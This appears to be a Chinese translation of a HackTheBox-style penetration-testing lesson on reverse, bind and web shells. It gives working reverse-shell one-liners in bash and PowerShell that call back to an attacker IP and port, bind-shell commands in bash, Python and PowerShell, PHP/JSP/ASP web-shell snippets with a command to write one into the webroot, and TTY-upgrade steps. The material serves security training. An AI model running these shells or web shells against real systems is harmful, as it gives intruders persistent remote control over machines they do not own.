当我们成功入侵一个系统并利用漏洞远程在受控主机上执行命令后,通常需要一种与系统持续通信的方法,以避免为了执行每个命令而重复利用同一个漏洞。为了枚举系统或进一步控制它及其所在网络,我们需要一个可靠的连接,使我们能够直接访问系统的 Shell(例如 Bash 或 PowerShell),从而可以彻底调查远程系统并为下一步行动做准备。
一种连接到受控系统的方法是通过网络协议,例如 Linux 的 SSH 或 Windows 的 WinRM,这允许我们远程登录到受控系统。然而,除非我们获得一组有效的登录凭据,否则如果无法先在远程系统上执行命令来获取这些服务的访问权限,我们就无法使用这些方法。
另一种访问受控主机以进行控制和远程代码执行的方法是通过 Shell。如前所述,主要有三种类型的 Shell:反弹Shell、绑定 Shell 和 Web Shell。每种 Shell 与我们通信以接受和执行命令的方式各不相同。
| Shell 类型 | 通信方式 |
|---|---|
| 反弹Shell | 连接回我们的系统,并通过反向连接给予我们控制权。 |
| 绑定 Shell | 等待我们连接到它,并在我们连接后给予我们控制权。 |
| Web Shell | 通过 Web 服务器进行通信,通过 HTTP 参数接受我们的命令,执行它们并打印回输出。 |
让我们更深入地了解上述每种 Shell,并逐一进行示例说明。
反弹Shell
反弹Shell 是最常见的 Shell 类型,因为它是获取受控主机控制权最快捷、最简单的方法。一旦我们识别出远程主机上存在允许远程代码执行的漏洞,就可以在我们的机器上启动一个 netcat 监听器,监听特定端口(例如端口 1234)。有了这个监听器,我们就可以执行一个反弹Shell 命令,将远程系统的 Shell(例如 Bash 或 PowerShell)连接到我们的 netcat 监听器,从而建立对远程系统的反向连接。
Netcat 监听器
第一步是在我们选择的端口上启动一个 netcat 监听器:
guhusf@htb[/htb]$ nc -lvnp 1234
listening on [any] 1234 ...
我们使用的参数标志如下:
| 参数 | 描述 |
|---|---|
-l | 监听模式,等待连接连接到我们。 |
-v | 详细模式,以便在收到连接时得到通知。 |
-n | 禁用 DNS 解析,只使用 IP 进行连接,以加快连接速度。 |
-p 1234 | netcat 监听的端口号,反向连接应发送到此端口。 |
现在我们已经有一个 netcat 监听器在等待连接,我们可以执行反弹Shell 命令来连接到我们。
连接回 IP
但是,首先我们需要找到我们系统的 IP 地址,以便反向连接能够发送回来。我们可以使用以下命令查找我们的 IP:
guhusf@htb[/htb]$ ip a
...SNIP...
3: tun0: <POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN group default qlen 500
link/none
inet 10.10.10.10/23 scope global tun0
...SNIP...
在我们的示例中,我们关注的 IP 在 tun0下,这是我们通过 VPN 连接的同一 HTB 网络。
注意:我们连接到 tun0中的 IP,是因为我们只能通过 VPN 连接访问 HackTheBox 机器,这些机器没有互联网连接,因此无法通过互联网使用 eth0连接到我们。在实际渗透测试中,您可能直接连接到同一网络,或执行外部渗透测试,因此可能需要通过 eth0适配器或类似设备进行连接。
反弹Shell 命令
我们执行的命令取决于受控主机运行的操作系统(例如 Linux 或 Windows)以及我们可以访问的应用程序和命令。Payload All The Things页面提供了全面的反弹Shell 命令列表,涵盖了各种选项,具体取决于受控主机的情况。
某些反弹Shell 命令比其他命令更可靠,通常可以尝试使用它们来获取反向连接。以下是一些可靠的命令,可用于在 Linux 受控主机上获取 Bash 反向连接,以及在 Windows 受控主机上获取 PowerShell 反向连接:
Bash:
bash -c 'bash -i >& /dev/tcp/10.10.10.10/1234 0>&1'
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.10.10 1234 >/tmp/f
PowerShell:
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',1234);$s = $client.GetStream();[byte[]]$b = 0..65535|%{0};while(($i = $s.Read($b, 0, $b.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0, $i);$sb = (iex $data 2>&1 | Out-String );$sb2 = $sb + 'PS ' + (pwd).Path + '> ';$sbt = ([text.encoding]::ASCII).GetBytes($sb2);$s.Write($sbt,0,$sbt.Length);$s.Flush()};$client.Close()"
我们可以利用对远程主机的漏洞利用(例如通过 Python 漏洞利用程序或 Metasploit 模块)来执行上述命令之一,以获取反向连接。一旦执行,我们应该会在 netcat 监听器中收到连接:
guhusf@htb[/htb]$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.10.10.10] from (UNKNOWN) [10.10.10.1] 41572
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
如我们所见,在 netcat 监听器收到连接后,我们能够直接输入命令并直接在我们的机器上获取其输出。
当我们需要快速、可靠地连接到受控主机时,反弹Shell 非常方便。然而,反弹Shell 可能非常脆弱。一旦反弹Shell 命令停止,或者由于任何原因导致连接断开,我们将不得不使用初始的漏洞利用再次执行反弹Shell 命令才能重新获得访问权限。
绑定 Shell
另一种 Shell 类型是绑定 Shell。与连接到我们的反弹Shell 不同,我们需要连接到远程目标主机上的监听端口。
一旦我们执行了绑定 Shell 命令,它将在远程主机的一个端口上开始监听,并将该主机的 Shell(例如 Bash 或 PowerShell)绑定到该端口。我们必须使用 netcat 连接到该端口,然后通过该系统上的 Shell 获得控制权。
绑定 Shell 命令
再次,我们可以利用 Payload All The Things来找到合适的命令以启动我们的绑定 Shell。
注意:我们将在远程主机的端口 ‘1234’ 上启动一个监听连接,IP 为 ‘0.0.0.0’,以便我们可以从任何地方连接到它。
以下是一些可用于启动绑定 Shell 的可靠命令:
Bash:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc -lvp 1234 >/tmp/f
Python:
python -c 'exec("""import socket as s,subprocess as sp;s1=s.socket(s.AF_INET,s.SOCK_STREAM);s1.setsockopt(s.SOL_SOCKET,s.SO_REUSEADDR, 1);s1.bind(("0.0.0.0",1234));s1.listen(1);c,a=s1.accept();\nwhile True: d=c.recv(1024).decode();p=sp.Popen(d,shell=True,stdout=sp.PIPE,stderr=sp.PIPE,stdin=sp.PIPE);c.sendall(p.stdout.read()+p.stderr.read())""")'
PowerShell:
powershell -NoP -NonI -W Hidden -Exec Bypass -Command $listener = [System.Net.Sockets.TcpListener]1234; $listener.start();$client = $listener.AcceptTcpClient();$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + " ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close();
Netcat 连接
一旦我们执行了绑定 Shell 命令,指定端口上应该会有一个 Shell 在等待我们。现在我们可以连接到它。
我们可以使用 netcat 连接到该端口并获得 Shell 连接:
guhusf@htb[/htb]$ nc 10.10.10.1 1234
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
如我们所见,我们直接进入了一个 bash 会话,并可以直接与目标系统交互。与反弹Shell 不同,如果由于任何原因我们与绑定 Shell 的连接断开,我们可以重新连接并立即获得另一个连接。然而,如果绑定 Shell 命令因任何原因停止,或者远程主机重启,我们仍然会失去对远程主机的访问权限,必须再次利用漏洞才能重新获得访问权。
升级TTY
当我们通过 Netcat 连接到 Shell 时,会注意到我们只能输入命令或使用退格键,但无法左右移动文本光标来编辑命令,也无法上下翻动以访问命令历史记录。为了能够实现这些功能,我们需要升级我们的 TTY。这可以通过将我们的终端 TTY 与远程 TTY 进行映射来实现。
有多种方法可以做到这一点。就我们的目的而言,我们将使用 python/stty方法。在我们的 netcat Shell 中,我们将使用以下命令通过 Python 将我们的 Shell 类型升级为完整的 TTY:
guhusf@htb[/htb]$ python -c 'import pty; pty.spawn("/bin/bash")'
运行此命令后,我们将按下 ctrl+z将我们的 Shell 置于后台并返回到本地终端,然后输入以下 stty命令:
www-data@remotehost$ ^Z
[1] Stopped nc -lvnp 1234
guhusf@htb[/htb]$ stty raw -echo
guhusf@htb[/htb]$ fg
[Enter]
[Enter]
www-data@remotehost$
当我们输入 fg时,它会将我们的 netcat Shell 带回前台。此时,终端将显示一个空行。我们可以再次按回车键返回 Shell,或者输入 reset并按回车键将其恢复。此时,我们将拥有一个功能齐全的 TTY Shell,包含命令历史记录等所有功能。
我们可能会注意到我们的 Shell 没有覆盖整个终端。要解决此问题,我们需要设置几个变量。我们可以在系统上打开另一个终端窗口,最大化窗口或使用任何所需的大小,然后输入以下命令来获取我们的变量:
guhusf@htb[/htb]$ echo $TERM
xterm-256color
guhusf@htb[/htb]$ stty size
67 318
第一个命令向我们显示了 TERM变量,第二个命令分别显示了行数(rows)和列数(columns)的值。现在我们已经有了变量,我们可以返回 netcat Shell 并使用以下命令来校正它们:
www-data@remotehost$ export TERM=xterm-256color
www-data@remotehost$ stty rows 67 columns 318
完成此操作后,我们应该得到一个使用终端全部功能的 netcat Shell,就像 SSH 连接一样。
Web Shell
最后一种 Shell 类型是 Web Shell。Web Shell 通常是一个 Web 脚本(例如 PHP 或 ASPX),它通过 HTTP 请求参数(如 GET 或 POST 请求参数)接受我们的命令,执行我们的命令,并将输出打印回网页上。
编写 Web Shell
首先,我们需要编写我们的 Web Shell,它将通过 GET 请求接收我们的命令,执行它并打印回输出。Web Shell 脚本通常是很短的单行脚本,可以轻松记忆。以下是一些常见 Web 语言的常用短 Web Shell 脚本:
PHP:
<?php system($_REQUEST["cmd"]); ?>
JSP:
<% Runtime.getRuntime().exec(request.getParameter("cmd")); %>
ASP:
<% eval request("cmd") %>
上传 Web Shell
一旦我们有了 Web Shell,就需要将我们的 Web Shell 脚本放入远程主机的 Web 目录(webroot)中,以便通过 Web 浏览器执行该脚本。这可以通过上传功能中的漏洞来实现,该漏洞允许我们将我们的 Shell 写入文件(例如 shell.php)并上传它,然后访问我们上传的文件以执行命令。
但是,如果我们只能通过漏洞利用获得远程命令执行权限,则可以直接将我们的 Shell 写入 webroot,以便通过 Web 访问。因此,第一步是确定 webroot 的位置。以下是常见 Web 服务器的默认 webroot:
| Web 服务器 | 默认 Webroot |
|---|---|
| Apache | /var/www/html/ |
| Nginx | /usr/local/nginx/html/ |
| IIS | c:\inetpub\wwwroot |
| XAMPP | C:\xampp\htdocs |
我们可以检查这些目录以查看正在使用哪个 webroot,然后使用 echo命令写出我们的 Web Shell。例如,如果我们攻击的是运行 Apache 的 Linux 主机,可以使用以下命令写入一个 PHP Shell:
echo '<?php system($_REQUEST["cmd"]); ?>' > /var/www/html/shell.php
访问 Web Shell
写入 Web Shell 后,我们可以通过浏览器或使用 cURL 访问它。我们可以访问受攻击网站上的 shell.php页面,并使用 ?cmd=id来执行 id命令:
http://SERVER_IP:PORT/shell.php?cmd=id

另一种选择是使用 cURL:
guhusf@htb[/htb]$ curl http://SERVER_IP:PORT/shell.php?cmd=id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
如我们所见,我们可以不断更改命令来获取其输出。Web Shell 的一个巨大优势是它可以绕过任何存在的防火墙限制,因为它不会在端口上打开新连接,而是在 Web 端口(80 或 443)或 Web 应用程序正在使用的任何端口上运行。另一个巨大优势是,如果受控主机重启,Web Shell 仍然存在,我们可以访问它并获得命令执行权限,而无需再次利用远程主机。
另一方面,Web Shell 不像反弹Shell 和绑定 Shell 那样具有交互性,因为我们必须不断请求不同的 URL 来执行我们的命令。尽管如此,在极端情况下,可以编写 Python 脚本来自动化此过程,并在我们的终端内提供一个半交互式的 Web Shell。
站长注:
| 组件 | 核心功能与角色 | 一个简单的比喻 |
|---|---|---|
| TTY (终端) | 输入/输出环境:提供命令行程序的输入(键盘)和输出(屏幕)界面。它负责处理特殊的按键序列(如退格键)和控制字符。 | 电视台的演播室:负责接收主播(用户)的指令和提问,并将嘉宾(Shell)的回应展示给观众。它管“怎么显示”,但不管“回答什么内容”。 |
| Shell (壳层) | 命令解释器:是真正解读和执行用户输入命令的程序(如 bash, zsh)。它负责管理进程、操作文件等。 | 电视台的嘉宾或主播:负责理解演播室(TTY)传来的问题,进行思考、计算(执行命令),然后将答案内容返回给演播室。它管“回答什么内容”。 |
| 终端模拟器 | 现代的数字演播室:在图形界面(如 Gnome Terminal, iTerm2)中模拟传统物理终端功能的程序。我们日常所说的“打开一个终端”,其实就是打开一个终端模拟器。 | 现代的数字演播室:在图形界面中模拟传统物理终端功能的软件(如 Gnome Terminal, iTerm2)。我们日常所说的“打开一个终端”,其实就是打开一个终端模拟器。 |




